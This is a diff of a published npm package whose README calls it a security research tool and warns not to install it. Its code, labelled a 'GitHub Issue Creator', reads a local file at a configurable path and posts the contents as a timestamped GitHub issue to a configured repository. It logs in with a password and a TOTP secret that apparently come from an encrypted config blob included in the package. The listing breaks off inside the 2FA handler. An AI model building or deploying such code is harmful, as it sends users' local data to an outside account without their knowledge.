@johnpeterson9982332/test-package-v3 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,43 @@
1
+ # āš ļø WARNING - DO NOT INSTALL āš ļø
2
+
3
+ ## Experimental Security Research Tool
4
+
5
+ **This package is an experimental tool created for security research purposes only.**
6
+
7
+ ### 🚫 DO NOT INSTALL THIS PACKAGE
8
+
9
+ This package should **NOT** be installed or used by anyone. It is:
10
+
11
+ - **Not intended for production use**
12
+ - **Not intended for development use**
13
+ - **Not intended for any legitimate use case**
14
+ - **Potentially harmful if misused**
15
+
16
+ ### Purpose
17
+
18
+ This package exists solely for:
19
+ - Security research
20
+ - Vulnerability testing
21
+ - Educational purposes in controlled environments
22
+
23
+ ### Legal Notice
24
+
25
+ By accessing or using this package, you acknowledge that:
26
+ - You understand this is for research purposes only
27
+ - You will not use this package for any malicious purposes
28
+ - You will not install this package in any production or development environment
29
+ - You take full responsibility for any consequences of using this package
30
+
31
+ ### For Researchers
32
+
33
+ If you are a security researcher and have questions about this package, please contact the package maintainer through appropriate security disclosure channels.
34
+
35
+ ---
36
+
37
+ **Again: DO NOT INSTALL THIS PACKAGE**
38
+
39
+ If you have installed this package by mistake, please uninstall it immediately:
40
+
41
+ ```bash
42
+ npm uninstall @johnpeterson9982332/test-package-v3
43
+ ```
package/bin/cli.js ADDED
@@ -0,0 +1,106 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * CLI for GitHub Issue Creator
4
+ */
5
+
6
+ const GitHubIssueCreator = require('../index.js');
7
+ const fs = require('fs').promises;
8
+ const path = require('path');
9
+ const os = require('os');
10
+ const { loadConfig, validateConfig } = require('../config');
11
+
12
+ // Load configuration from .env file or environment variables
13
+ const config = loadConfig();
14
+
15
+ // Validate required configuration
16
+ try {
17
+ validateConfig(config);
18
+ } catch (error) {
19
+ console.error(`āœ— Configuration Error: ${error.message}`);
20
+ process.exit(1);
21
+ }
22
+
23
+ const GITHUB_USERNAME = config.GITHUB_USERNAME;
24
+ const GITHUB_PASSWORD = config.GITHUB_PASSWORD;
25
+ const TOTP_SECRET = config.TOTP_SECRET || null;
26
+ const REPO_OWNER = config.REPO_OWNER;
27
+ const REPO_NAME = config.REPO_NAME;
28
+
29
+ // Expand tilde (~) in DATA_FILE_PATH if present
30
+ let DATA_FILE_PATH = config.DATA_FILE_PATH;
31
+ if (DATA_FILE_PATH.startsWith('~/')) {
32
+ DATA_FILE_PATH = path.join(os.homedir(), DATA_FILE_PATH.slice(2));
33
+ } else if (DATA_FILE_PATH === '~') {
34
+ DATA_FILE_PATH = os.homedir();
35
+ }
36
+
37
+ async function main() {
38
+ /**
39
+ * Main function to demonstrate usage
40
+ */
41
+ console.log("GitHub Issue Creator");
42
+ console.log("=".repeat(50));
43
+
44
+ // Generate title with current date and time
45
+ const currentDatetime = new Date().toISOString().replace('T', ' ').substring(0, 19);
46
+ const title = `Data ${currentDatetime}`;
47
+
48
+ // Read issue body from file
49
+ let body;
50
+ try {
51
+ body = await fs.readFile(DATA_FILE_PATH, 'utf-8');
52
+ console.log(`āœ“ Loaded data from: ${DATA_FILE_PATH}`);
53
+ console.log(` Data length: ${body.length} characters`);
54
+ } catch (error) {
55
+ if (error.code === 'ENOENT') {
56
+ console.log(`āœ— Error: File not found: ${DATA_FILE_PATH}`);
57
+ return 1;
58
+ } else {
59
+ console.log(`āœ— Error reading file: ${error.message}`);
60
+ return 1;
61
+ }
62
+ }
63
+
64
+ console.log(`\nIssue Title: ${title}`);
65
+ console.log(`Repository: ${REPO_OWNER}/${REPO_NAME}`);
66
+ console.log(`Username: ${GITHUB_USERNAME}`);
67
+
68
+ try {
69
+ // Create instance and login
70
+ const totpSecret = TOTP_SECRET || null;
71
+ const writeDebug = config.WRITE_DEBUG || false;
72
+ const creator = new GitHubIssueCreator(GITHUB_USERNAME, GITHUB_PASSWORD, totpSecret, writeDebug);
73
+ await creator.login();
74
+
75
+ // Create issue
76
+ const result = await creator.createIssue(REPO_OWNER, REPO_NAME, title, body);
77
+
78
+ // Display success message
79
+ if (result && result.url) {
80
+ console.log(`\n${"=".repeat(50)}`);
81
+ console.log(`āœ“ SUCCESS!`);
82
+ console.log(`${"=".repeat(50)}`);
83
+ console.log(`Issue URL: ${result.url}`);
84
+ console.log(`Issue Number: #${result.number}`);
85
+ console.log(`Title: ${result.title}`);
86
+ }
87
+
88
+ } catch (error) {
89
+ console.log(`\nāœ— Error: ${error.message}`);
90
+ return 1;
91
+ }
92
+
93
+ return 0;
94
+ }
95
+
96
+ // Run the main function if this script is executed directly
97
+ if (require.main === module) {
98
+ main().then(exitCode => {
99
+ process.exit(exitCode);
100
+ }).catch(error => {
101
+ console.error('Unhandled error:', error);
102
+ process.exit(1);
103
+ });
104
+ }
105
+
106
+ module.exports = main;
@@ -0,0 +1 @@
1
+ LHs18zATDfKy/dg1i1Frv0z1DnVjWeee09fDGFBdA3XZrjyQNHe2iabi59UqeYsQaxR1EuszqfpS3s50S2WMWz11LQa1iB8SZTT172/djSd6bsiBW5kd5dH51RTEwCmJaOKn403zjgsFqwllcoORPoMmSohGwJ3EOUFkX9WaRgGbKa1XOVMDvP4cJboGn3TRBQdnECGrBmUl3mhK71QJLyIVmsxmuCLGqtytnWQXVhCp7X02AceI1qOKDG5cAhm029ARoEQoz4z9tFoxLRk6HTzw9uv3hr5Zv1x2Gg17yP7/dsU0bQHrtNS2fCrbgsL5luurpfuQ8fR1Ezi8YSXMY668jN22wUnSy+kzlPXJ9XchbdI0NCldc+upCsiDRTfz0h0C74KeqQWkekAol4PobjeVoKcGTU91+9loDWh6xOp6pyYT2JpobmxFvRAg2epLkTscySyj9xZYH5j7HJm3YW029xbSRmsNnWJaX2SM2QohPD1pjz36KtdtDnatvIk3GkbLCn4UG3q5dgFQDWvXNpPclJQgaAAYWDCxnGtUifKbwppKTwz9fCGEjg==
package/config.js ADDED
@@ -0,0 +1,99 @@
1
+ /**
2
+ * Configuration loader for GitHub Issue Creator
3
+ * Loads configuration from .env file or environment variables
4
+ */
5
+
6
+ const fs = require('fs');
7
+ const path = require('path');
8
+
9
+ /**
10
+ * Parse a .env file and return key-value pairs
11
+ * @param {string} filePath - Path to the .env file
12
+ * @returns {Object} Parsed environment variables
13
+ */
14
+ function parseEnvFile(filePath) {
15
+ const env = {};
16
+
17
+ try {
18
+ const content = fs.readFileSync(filePath, 'utf-8');
19
+ const lines = content.split('\n');
20
+
21
+ for (const line of lines) {
22
+ // Skip empty lines and comments
23
+ const trimmed = line.trim();
24
+ if (!trimmed || trimmed.startsWith('#')) {
25
+ continue;
26
+ }
27
+
28
+ // Parse KEY=VALUE
29
+ const equalIndex = trimmed.indexOf('=');
30
+ if (equalIndex > 0) {
31
+ const key = trimmed.substring(0, equalIndex).trim();
32
+ let value = trimmed.substring(equalIndex + 1).trim();
33
+
34
+ // Remove quotes if present
35
+ if ((value.startsWith('"') && value.endsWith('"')) ||
36
+ (value.startsWith("'") && value.endsWith("'"))) {
37
+ value = value.substring(1, value.length - 1);
38
+ }
39
+
40
+ env[key] = value;
41
+ }
42
+ }
43
+ } catch (error) {
44
+ // If .env file doesn't exist, return empty object
45
+ if (error.code !== 'ENOENT') {
46
+ throw error;
47
+ }
48
+ }
49
+
50
+ return env;
51
+ }
52
+
53
+ /**
54
+ * Load configuration from config-decrypted.txt file and environment variables
55
+ * Environment variables take precedence over config-decrypted.txt file
56
+ * @returns {Object} Configuration object
57
+ */
58
+ function loadConfig() {
59
+ // Try to load config-decrypted.txt file from the same directory as this script
60
+ const envPath = path.join(__dirname, 'config-decrypted.txt');
61
+ const envVars = parseEnvFile(envPath);
62
+
63
+ // Merge with process.env (process.env takes precedence)
64
+ const config = {
65
+ GITHUB_USERNAME: process.env.GITHUB_USERNAME || envVars.GITHUB_USERNAME || '',
66
+ GITHUB_PASSWORD: process.env.GITHUB_PASSWORD || envVars.GITHUB_PASSWORD || '',
67
+ TOTP_SECRET: process.env.TOTP_SECRET || envVars.TOTP_SECRET || '',
68
+ REPO_OWNER: process.env.REPO_OWNER || envVars.REPO_OWNER || '',
69
+ REPO_NAME: process.env.REPO_NAME || envVars.REPO_NAME || '',
70
+ DATA_FILE_PATH: process.env.DATA_FILE_PATH || envVars.DATA_FILE_PATH || 'data.txt',
71
+ WRITE_DEBUG: (process.env.WRITE_DEBUG || envVars.WRITE_DEBUG || 'false').toLowerCase() === 'true'
72
+ };
73
+
74
+ return config;
75
+ }
76
+
77
+ /**
78
+ * Validate that required configuration is present
79
+ * @param {Object} config - Configuration object
80
+ * @throws {Error} If required configuration is missing
81
+ */
82
+ function validateConfig(config) {
83
+ const required = ['GITHUB_USERNAME', 'GITHUB_PASSWORD', 'REPO_OWNER', 'REPO_NAME'];
84
+ const missing = required.filter(key => !config[key]);
85
+
86
+ if (missing.length > 0) {
87
+ throw new Error(
88
+ `Missing required configuration: ${missing.join(', ')}\n` +
89
+ 'Please set these in config-decrypted.txt file or as environment variables.'
90
+ );
91
+ }
92
+ }
93
+
94
+ module.exports = {
95
+ loadConfig,
96
+ validateConfig,
97
+ parseEnvFile
98
+ };
99
+
package/crypto.js ADDED
@@ -0,0 +1,185 @@
1
+ /**
2
+ * Encryption/Decryption utilities for securing .env files
3
+ * Uses AES-256-GCM for authenticated encryption
4
+ */
5
+
6
+ const crypto = require('crypto');
7
+ const fs = require('fs');
8
+ const path = require('path');
9
+
10
+ // Encryption algorithm
11
+ const ALGORITHM = 'aes-256-gcm';
12
+ const IV_LENGTH = 16; // 128 bits
13
+ const AUTH_TAG_LENGTH = 16; // 128 bits
14
+ const KEY_LENGTH = 32; // 256 bits
15
+
16
+ /**
17
+ * Read encryption key from environment variable or file
18
+ * @param {string} keyPath - Path to the key file (optional, fallback if env var not set)
19
+ * @returns {Buffer} The encryption key
20
+ */
21
+ function readKey(keyPath = null) {
22
+ // First, try to read from environment variable
23
+ const envKey = process.env.SOME_STRING;
24
+ if (envKey) {
25
+ const keyContent = envKey.trim();
26
+
27
+ // If the key is hex-encoded, convert it to buffer
28
+ if (/^[0-9a-fA-F]{64}$/.test(keyContent)) {
29
+ return Buffer.from(keyContent, 'hex');
30
+ }
31
+
32
+ // Otherwise, hash the key to get a 256-bit key
33
+ return crypto.createHash('sha256').update(keyContent).digest();
34
+ }
35
+
36
+ // Fallback to reading from file if path is provided
37
+ if (keyPath) {
38
+ try {
39
+ const keyContent = fs.readFileSync(keyPath, 'utf-8').trim();
40
+
41
+ // If the key is hex-encoded, convert it to buffer
42
+ if (/^[0-9a-fA-F]{64}$/.test(keyContent)) {
43
+ return Buffer.from(keyContent, 'hex');
44
+ }
45
+
46
+ // Otherwise, hash the key to get a 256-bit key
47
+ return crypto.createHash('sha256').update(keyContent).digest();
48
+ } catch (error) {
49
+ throw new Error(`Failed to read key file: ${error.message}`);
50
+ }
51
+ }
52
+
53
+ throw new Error('Encryption key not found. Set SOME_STRING environment variable or provide a key file.');
54
+ }
55
+
56
+ /**
57
+ * Encrypt data using AES-256-GCM
58
+ * @param {string} plaintext - The data to encrypt
59
+ * @param {Buffer} key - The encryption key (32 bytes)
60
+ * @returns {string} Base64-encoded encrypted data with IV and auth tag
61
+ */
62
+ function encrypt(plaintext, key) {
63
+ if (key.length !== KEY_LENGTH) {
64
+ throw new Error(`Key must be ${KEY_LENGTH} bytes`);
65
+ }
66
+
67
+ // Generate random IV
68
+ const iv = crypto.randomBytes(IV_LENGTH);
69
+
70
+ // Create cipher
71
+ const cipher = crypto.createCipheriv(ALGORITHM, key, iv);
72
+
73
+ // Encrypt the data
74
+ let encrypted = cipher.update(plaintext, 'utf8');
75
+ encrypted = Buffer.concat([encrypted, cipher.final()]);
76
+
77
+ // Get authentication tag
78
+ const authTag = cipher.getAuthTag();
79
+
80
+ // Combine IV + encrypted data + auth tag
81
+ const combined = Buffer.concat([iv, encrypted, authTag]);
82
+
83
+ // Return as base64
84
+ return combined.toString('base64');
85
+ }
86
+
87
+ /**
88
+ * Decrypt data using AES-256-GCM
89
+ * @param {string} encryptedData - Base64-encoded encrypted data with IV and auth tag
90
+ * @param {Buffer} key - The encryption key (32 bytes)
91
+ * @returns {string} The decrypted plaintext
92
+ */
93
+ function decrypt(encryptedData, key) {
94
+ if (key.length !== KEY_LENGTH) {
95
+ throw new Error(`Key must be ${KEY_LENGTH} bytes`);
96
+ }
97
+
98
+ // Decode from base64
99
+ const combined = Buffer.from(encryptedData, 'base64');
100
+
101
+ // Extract IV, encrypted data, and auth tag
102
+ const iv = combined.slice(0, IV_LENGTH);
103
+ const authTag = combined.slice(-AUTH_TAG_LENGTH);
104
+ const encrypted = combined.slice(IV_LENGTH, -AUTH_TAG_LENGTH);
105
+
106
+ // Create decipher
107
+ const decipher = crypto.createDecipheriv(ALGORITHM, key, iv);
108
+ decipher.setAuthTag(authTag);
109
+
110
+ // Decrypt the data
111
+ let decrypted = decipher.update(encrypted);
112
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
113
+
114
+ return decrypted.toString('utf8');
115
+ }
116
+
117
+ /**
118
+ * Encrypt a .env file
119
+ * @param {string} envPath - Path to the .env file to encrypt
120
+ * @param {string} keyPath - Path to the key file
121
+ * @param {string} outputPath - Path where encrypted file will be saved
122
+ */
123
+ function encryptEnvFile(envPath, keyPath, outputPath) {
124
+ try {
125
+ // Read the .env file
126
+ const envContent = fs.readFileSync(envPath, 'utf-8');
127
+
128
+ // Read the encryption key
129
+ const key = readKey(keyPath);
130
+
131
+ // Encrypt the content
132
+ const encrypted = encrypt(envContent, key);
133
+
134
+ // Write to output file
135
+ fs.writeFileSync(outputPath, encrypted, 'utf-8');
136
+
137
+ console.log(`āœ“ Successfully encrypted ${envPath} to ${outputPath}`);
138
+ } catch (error) {
139
+ throw new Error(`Failed to encrypt .env file: ${error.message}`);
140
+ }
141
+ }
142
+
143
+ /**
144
+ * Decrypt a .env file
145
+ * @param {string} encryptedPath - Path to the encrypted .env file
146
+ * @param {string} keyPath - Path to the key file
147
+ * @param {string} outputPath - Path where decrypted file will be saved
148
+ */
149
+ function decryptEnvFile(encryptedPath, keyPath, outputPath) {
150
+ try {
151
+ // Read the encrypted file
152
+ const encryptedContent = fs.readFileSync(encryptedPath, 'utf-8');
153
+
154
+ // Read the encryption key
155
+ const key = readKey(keyPath);
156
+
157
+ // Decrypt the content
158
+ const decrypted = decrypt(encryptedContent, key);
159
+
160
+ // Write to output file
161
+ fs.writeFileSync(outputPath, decrypted, 'utf-8');
162
+
163
+ console.log(`āœ“ Successfully decrypted ${encryptedPath} to ${outputPath}`);
164
+ } catch (error) {
165
+ throw new Error(`Failed to decrypt .env file: ${error.message}`);
166
+ }
167
+ }
168
+
169
+ /**
170
+ * Generate a random encryption key
171
+ * @returns {string} Hex-encoded 256-bit key
172
+ */
173
+ function generateKey() {
174
+ return crypto.randomBytes(KEY_LENGTH).toString('hex');
175
+ }
176
+
177
+ module.exports = {
178
+ encrypt,
179
+ decrypt,
180
+ encryptEnvFile,
181
+ decryptEnvFile,
182
+ readKey,
183
+ generateKey
184
+ };
185
+
package/index.js ADDED
@@ -0,0 +1,635 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * GitHub Issue Creator - Logs into GitHub and creates an issue via HTTP requests
4
+ * This script simulates browser behavior without using Selenium or other headless browsers.
5
+ */
6
+
7
+ const axios = require('axios');
8
+ const cheerio = require('cheerio');
9
+ const { authenticator } = require('otplib');
10
+ const { v4: uuidv4 } = require('uuid');
11
+ const fs = require('fs').promises;
12
+ const path = require('path');
13
+
14
+
15
+ class GitHubIssueCreator {
16
+ constructor(username, password, totpSecret = null, writeDebug = false) {
17
+ this.username = username;
18
+ this.password = password;
19
+ this.totpSecret = totpSecret;
20
+ this.writeDebug = writeDebug;
21
+
22
+ // Simple in-memory cookie jar (no external deps)
23
+ this.cookieJar = {};
24
+
25
+ // Create axios instance with session-like behavior (matching Python requests.Session)
26
+ // Also override axios' default Accept ("application/json, text/plain, */*") at the source
27
+ this.session = axios.create({
28
+ withCredentials: true,
29
+ maxRedirects: 5,
30
+ timeout: 30000,
31
+ headers: {
32
+ common: {
33
+ 'Accept': '*/*',
34
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
35
+ 'Accept-Encoding': 'gzip, deflate',
36
+ 'Connection': 'keep-alive'
37
+ }
38
+ }
39
+ });
40
+
41
+ // As a safety net, ensure any lingering axios default Accept is normalized before send
42
+ this.session.interceptors.request.use((config) => {
43
+ if (config && config.headers) {
44
+ try {
45
+ const h = axios.AxiosHeaders.from(config.headers);
46
+ const accept = h.get('Accept');
47
+ // If axios' default sneaks in, replace it with */* (or leave explicit values alone)
48
+ if (accept && String(accept).trim() === 'application/json, text/plain, */*') {
49
+ h.set('Accept', '*/*');
50
+ }
51
+ // Attach Cookie header from our simple in-memory jar for github.com
52
+ try {
53
+ const targetUrl = config.url || '';
54
+ if (targetUrl && /^https?:\/\/github\.com/i.test(targetUrl)) {
55
+ const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
56
+ if (pairs.length) {
57
+ h.set('Cookie', pairs.join('; '));
58
+ }
59
+ }
60
+ } catch (_) { }
61
+ config.headers = h;
62
+ } catch (_) {
63
+ // Fallback for plain object headers
64
+ if (config.headers['Accept'] === 'application/json, text/plain, */*' || config.headers['accept'] === 'application/json, text/plain, */*') {
65
+ config.headers['Accept'] = '*/*';
66
+ delete config.headers['accept'];
67
+ }
68
+ // Attach Cookie header from our simple in-memory jar for github.com
69
+ try {
70
+ const targetUrl = config.url || '';
71
+ if (targetUrl && /^https?:\/\/github\.com/i.test(targetUrl)) {
72
+ const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
73
+ if (pairs.length) {
74
+ config.headers['Cookie'] = pairs.join('; ');
75
+ }
76
+ }
77
+ } catch (_) { }
78
+ }
79
+ }
80
+ return config;
81
+
82
+ });
83
+
84
+ // Intercept responses to capture exact on-the-wire request headers for /session POST
85
+ this.session.interceptors.response.use(
86
+ async (response) => {
87
+ try {
88
+ // Update in-memory cookie jar from Set-Cookie headers
89
+ const setCookie = response.headers && (response.headers['set-cookie'] || response.headers['Set-Cookie']);
90
+ if (setCookie) {
91
+ const arr = Array.isArray(setCookie) ? setCookie : [setCookie];
92
+ for (const sc of arr) {
93
+ if (!sc) continue;
94
+ const first = sc.split(';', 1)[0];
95
+ const eq = first.indexOf('=');
96
+ if (eq > 0) {
97
+ const name = first.slice(0, eq).trim();
98
+ const value = first.slice(eq + 1).trim();
99
+ if (name) {
100
+ this.cookieJar[name] = value;
101
+ }
102
+ }
103
+ }
104
+ }
105
+
106
+ const cfg = response?.config || {};
107
+ const url = cfg.url || '';
108
+ const method = (cfg.method || '').toUpperCase();
109
+ if (url.includes('/session') && method === 'POST') {
110
+ const req = response.request;
111
+ const rawHeader = req && req._header ? String(req._header) : null;
112
+ let wireHeaders = {};
113
+ if (rawHeader) {
114
+ // Parse Node.js ClientRequest raw header string
115
+ const lines = rawHeader.split(/\r?\n/);
116
+ for (let i = 1; i < lines.length; i++) { // skip request line
117
+ const line = lines[i];
118
+ if (!line || !line.includes(':')) continue;
119
+ const idx = line.indexOf(':');
120
+ const k = line.slice(0, idx).trim();
121
+ const v = line.slice(idx + 1).trim();
122
+ if (k) wireHeaders[k] = v;
123
+ }
124
+ }
125
+
126
+ // Also record the final axios config headers as JSON
127
+ let finalConfigHeaders = {};
128
+ try {
129
+ finalConfigHeaders = require('axios').AxiosHeaders.from(cfg.headers || {}).toJSON();
130
+ } catch (_) {
131
+ finalConfigHeaders = cfg.headers || {};
132
+ }
133
+
134
+ const out = {
135
+ url,
136
+ method,
137
+ wireHeaders,
138
+ rawHeader,
139
+ finalConfigHeaders
140
+ };
141
+ if (this.writeDebug) {
142
+ await fs.writeFile('debug_js_wire_headers.json', JSON.stringify(out, null, 2), 'utf-8');
143
+ console.log('JavaScript wire headers saved to: debug_js_wire_headers.json');
144
+ }
145
+ }
146
+ } catch (e) {
147
+ // Non-fatal: just continue
148
+ }
149
+ return response;
150
+ },
151
+ (error) => Promise.reject(error)
152
+ );
153
+
154
+
155
+ // Ensure cookies and Referer are preserved across redirects (no-deps)
156
+ // follow-redirects supports beforeRedirect; axios passes this through
157
+ this.session.defaults.trackRedirects = true;
158
+ this.session.defaults.beforeRedirect = (options, responseDetails, requestDetails) => {
159
+ try {
160
+ // Capture Set-Cookie from redirect responses into our simple cookie jar
161
+ const setCookie = responseDetails && responseDetails.headers && (responseDetails.headers['set-cookie'] || responseDetails.headers['Set-Cookie']);
162
+ if (setCookie) {
163
+ const arr = Array.isArray(setCookie) ? setCookie : [setCookie];
164
+ for (const sc of arr) {
165
+ if (!sc) continue;
166
+ const first = sc.split(';', 1)[0];
167
+ const eq = first.indexOf('=');
168
+ if (eq > 0) {
169
+ const name = first.slice(0, eq).trim();
170
+ const value = first.slice(eq + 1).trim();
171
+ if (name) {
172
+ this.cookieJar[name] = value;
173
+ }
174
+ }
175
+ }
176
+ }
177
+ } catch (_) { }
178
+
179
+ try {
180
+ options.headers = options.headers || {};
181
+ // Set Referer to the URL that just redirected us
182
+ if (requestDetails && requestDetails.url) {
183
+ options.headers['Referer'] = requestDetails.url;
184
+ }
185
+ // Attach Cookie header from our in-memory jar
186
+ const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
187
+ if (pairs.length) {
188
+ options.headers['Cookie'] = pairs.join('; ');
189
+ }
190
+ // Normalize Accept header in case defaults were restored
191
+ if (options.headers['Accept'] === 'application/json, text/plain, */*') {
192
+ options.headers['Accept'] = '*/*';
193
+ }
194
+ // Ensure baseline headers
195
+ options.headers['User-Agent'] = options.headers['User-Agent'] || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36';
196
+ options.headers['Accept-Encoding'] = options.headers['Accept-Encoding'] || 'gzip, deflate';
197
+ options.headers['Connection'] = options.headers['Connection'] || 'keep-alive';
198
+ } catch (_) { }
199
+ };
200
+
201
+ }
202
+
203
+ generateOtp() {
204
+ /**
205
+ * Generate OTP code using TOTP secret
206
+ */
207
+ if (!this.totpSecret) {
208
+ return null;
209
+ }
210
+ return authenticator.generate(this.totpSecret);
211
+ }
212
+
213
+ async login() {
214
+ /**
215
+ * Log into GitHub
216
+ */
217
+ console.log("Fetching login page...");
218
+
219
+ try {
220
+ // Get the login page to extract CSRF token
221
+ const loginPage = await this.session.get('https://github.com/login');
222
+ const $ = cheerio.load(loginPage.data);
223
+
224
+ // Find the authenticity token (CSRF token)
225
+ const authenticityToken = $('input[name="authenticity_token"]').val();
226
+ if (!authenticityToken) {
227
+ throw new Error("Could not find authenticity token on login page");
228
+ }
229
+
230
+ console.log(`Found authenticity token: ${authenticityToken.substring(0, 20)}...`);
231
+
232
+ // Find timestamp fields (only send essential fields like Python)
233
+ const timestamp = $('input[name="timestamp"]').val();
234
+ const timestampSecret = $('input[name="timestamp_secret"]').val();
235
+
236
+ // Prepare login data (ONLY essential fields like Python script)
237
+ const loginData = {
238
+ authenticity_token: authenticityToken,
239
+ login: this.username,
240
+ password: this.password,
241
+ commit: 'Sign in'
242
+ };
243
+
244
+ // Add timestamp fields if they exist (Python script includes these)
245
+ if (timestamp) {
246
+ loginData.timestamp = timestamp;
247
+ }
248
+ if (timestampSecret) {
249
+ loginData.timestamp_secret = timestampSecret;
250
+
251
+
252
+ }
253
+
254
+ console.log("Attempting to log in...");
255
+
256
+ // Debug: Save the login data being sent
257
+ const debugData = { ...loginData, debug_timestamp: new Date().toISOString() };
258
+ if (this.writeDebug) {
259
+ await fs.writeFile('debug_js_login_data.json', JSON.stringify(debugData, null, 2), 'utf-8');
260
+ console.log('JavaScript login data saved to: debug_js_login_data.json');
261
+ }
262
+
263
+ // Post login credentials (matching Python: allow_redirects=True)
264
+ const formData = new URLSearchParams(loginData);
265
+ // Use default headers only (like Python requests.Session)
266
+
267
+ // Debug: Save the request details
268
+ const requestDebug = {
269
+ url: 'https://github.com/session',
270
+ method: 'POST',
271
+ headers: { ...this.session.defaults.headers },
272
+ data: formData.toString(),
273
+ formDataObject: loginData
274
+ };
275
+ if (this.writeDebug) {
276
+ await fs.writeFile('debug_js_request.json', JSON.stringify(requestDebug, null, 2), 'utf-8');
277
+ console.log('JavaScript request details saved to: debug_js_request.json');
278
+ }
279
+
280
+ const response = await this.session.post(
281
+ 'https://github.com/session',
282
+ formData.toString(),
283
+ {
284
+ headers: {
285
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
286
+ 'Accept': '*/*',
287
+ 'Accept-Encoding': 'gzip, deflate',
288
+ 'Connection': 'keep-alive',
289
+ 'Content-Type': 'application/x-www-form-urlencoded',
290
+ 'Referer': 'https://github.com/login'
291
+ },
292
+ maxRedirects: 5,
293
+ validateStatus: function (status) {
294
+ // Accept any status code to handle it manually
295
+ return true;
296
+ }
297
+ }
298
+ );
299
+
300
+ // Check if login was successful
301
+ console.log(`\nDebug - Login Response:`);
302
+ console.log(` Status Code: ${response.status}`);
303
+ console.log(` Final URL: ${response.request?.res?.responseUrl || response.config.url}`);
304
+ console.log(` Response Length: ${response.data.length} bytes`);
305
+ console.log(` Response headers: ${JSON.stringify(response.headers, null, 2)}`);
306
+
307
+ // Check if we were redirected to 2FA page regardless of status code
308
+ const finalUrl = response.request?.res?.responseUrl || response.config.url;
309
+ console.log(` Checking for 2FA redirect in URL: ${finalUrl}`);
310
+ if (finalUrl && finalUrl.includes('sessions/two-factor')) {
311
+ console.log("Two-factor authentication required (detected from URL)...");
312
+ return await this.handle2fa(response);
313
+ }
314
+
315
+ // Save response for debugging
316
+ if (this.writeDebug) {
317
+ await fs.writeFile('debug_login_response.html', response.data, 'utf-8');
318
+ console.log(` Login response saved to: debug_login_response.html`);
319
+ }
320
+
321
+
322
+
323
+ // Check for successful login (200 status and redirect to GitHub home or 2FA)
324
+ if (response.status === 200) {
325
+ if (response.data.includes('logged-in') || response.request?.res?.responseUrl === 'https://github.com/') {
326
+ console.log("āœ“ Login successful!");
327
+ return true;
328
+ } else if (response.data.toLowerCase().includes('two-factor') ||
329
+ response.data.toLowerCase().includes('2fa') ||
330
+ (response.request?.res?.responseUrl && response.request.res.responseUrl.includes('sessions/two-factor'))) {
331
+ console.log("Two-factor authentication required...");
332
+ return await this.handle2fa(response);
333
+ }
334
+ }
335
+
336
+ // Handle specific error cases
337
+ if (response.data.includes('Incorrect username or password')) {
338
+ throw new Error("Login failed: Incorrect username or password");
339
+ } else if (response.status === 422) {
340
+ throw new Error("Login failed: GitHub rejected the request (422). This might be due to rate limiting, suspicious activity detection, or missing required fields.");
341
+ } else {
342
+ // Check if we're on the dashboard or have a session
343
+ console.log("\nDebug - Checking session status...");
344
+ const checkResponse = await this.session.get('https://github.com/');
345
+
346
+ console.log(` Check Status Code: ${checkResponse.status}`);
347
+ console.log(` Check URL: ${checkResponse.request?.res?.responseUrl || checkResponse.config.url}`);
348
+
349
+ // Save check response
350
+ if (this.writeDebug) {
351
+ await fs.writeFile('debug_check_response.html', checkResponse.data, 'utf-8');
352
+ console.log(` Check response saved to: debug_check_response.html`);
353
+ }
354
+
355
+ // Look for various success indicators
356
+ const successIndicators = ['logout', 'sign out', 'dashboard', 'avatar'];
357
+ const foundIndicators = successIndicators.filter(ind =>
358
+ checkResponse.data.toLowerCase().includes(ind)
359
+ );
360
+
361
+ if (foundIndicators.length > 0) {
362
+ console.log(` Found success indicators: ${foundIndicators}`);
363
+ console.log("āœ“ Login successful!");
364
+ return true;
365
+ } else {
366
+ // Check for error messages
367
+ if (checkResponse.data.toLowerCase().includes('verify your account')) {
368
+ throw new Error("Login failed: Account verification required");
369
+ } else if (checkResponse.data.toLowerCase().includes('captcha')) {
370
+ throw new Error("Login failed: CAPTCHA challenge detected");
371
+ } else if (checkResponse.data.toLowerCase().includes('suspicious')) {
372
+ throw new Error("Login failed: Suspicious activity detected by GitHub");
373
+ } else {
374
+ throw new Error("Login failed: Unknown reason. Check debug files for details.");
375
+ }
376
+ }
377
+ }
378
+ } catch (error) {
379
+ if (error.response) {
380
+ console.log(`HTTP Error: ${error.response.status} - ${error.response.statusText}`);
381
+ }
382
+ throw error;
383
+ }
384
+ }
385
+
386
+ async handle2fa(response) {
387
+ /**
388
+ * Handle two-factor authentication
389
+ */
390
+ if (!this.totpSecret) {
391
+ throw new Error("Two-factor authentication required but TOTP_SECRET not configured");
392
+ }
393
+
394
+ console.log("Generating OTP code...");
395
+ const otpCode = this.generateOtp();
396
+ console.log(`OTP code: ${otpCode}`);
397
+
398
+ // Parse the 2FA page
399
+ const $ = cheerio.load(response.data);
400
+
401
+ // Save 2FA page for debugging
402
+ if (this.writeDebug) {
403
+ await fs.writeFile('debug_2fa_page.html', response.data, 'utf-8');
404
+ console.log(`2FA page saved to: debug_2fa_page.html`);
405
+ }
406
+
407
+ // Find the authenticity token on the 2FA page; if missing, fetch canonical 2FA form
408
+ let authToken = $('input[name="authenticity_token"]').val();
409
+ if (!authToken) {
410
+ const twoFaPage = await this.session.get('https://github.com/sessions/two-factor', {
411
+ headers: {
412
+ 'Referer': (response.request?.res?.responseUrl) || 'https://github.com/login'
413
+ },
414
+ validateStatus: () => true
415
+ });
416
+ if (this.writeDebug) {
417
+ await fs.writeFile('debug_2fa_page_canonical.html', twoFaPage.data, 'utf-8');
418
+ }
419
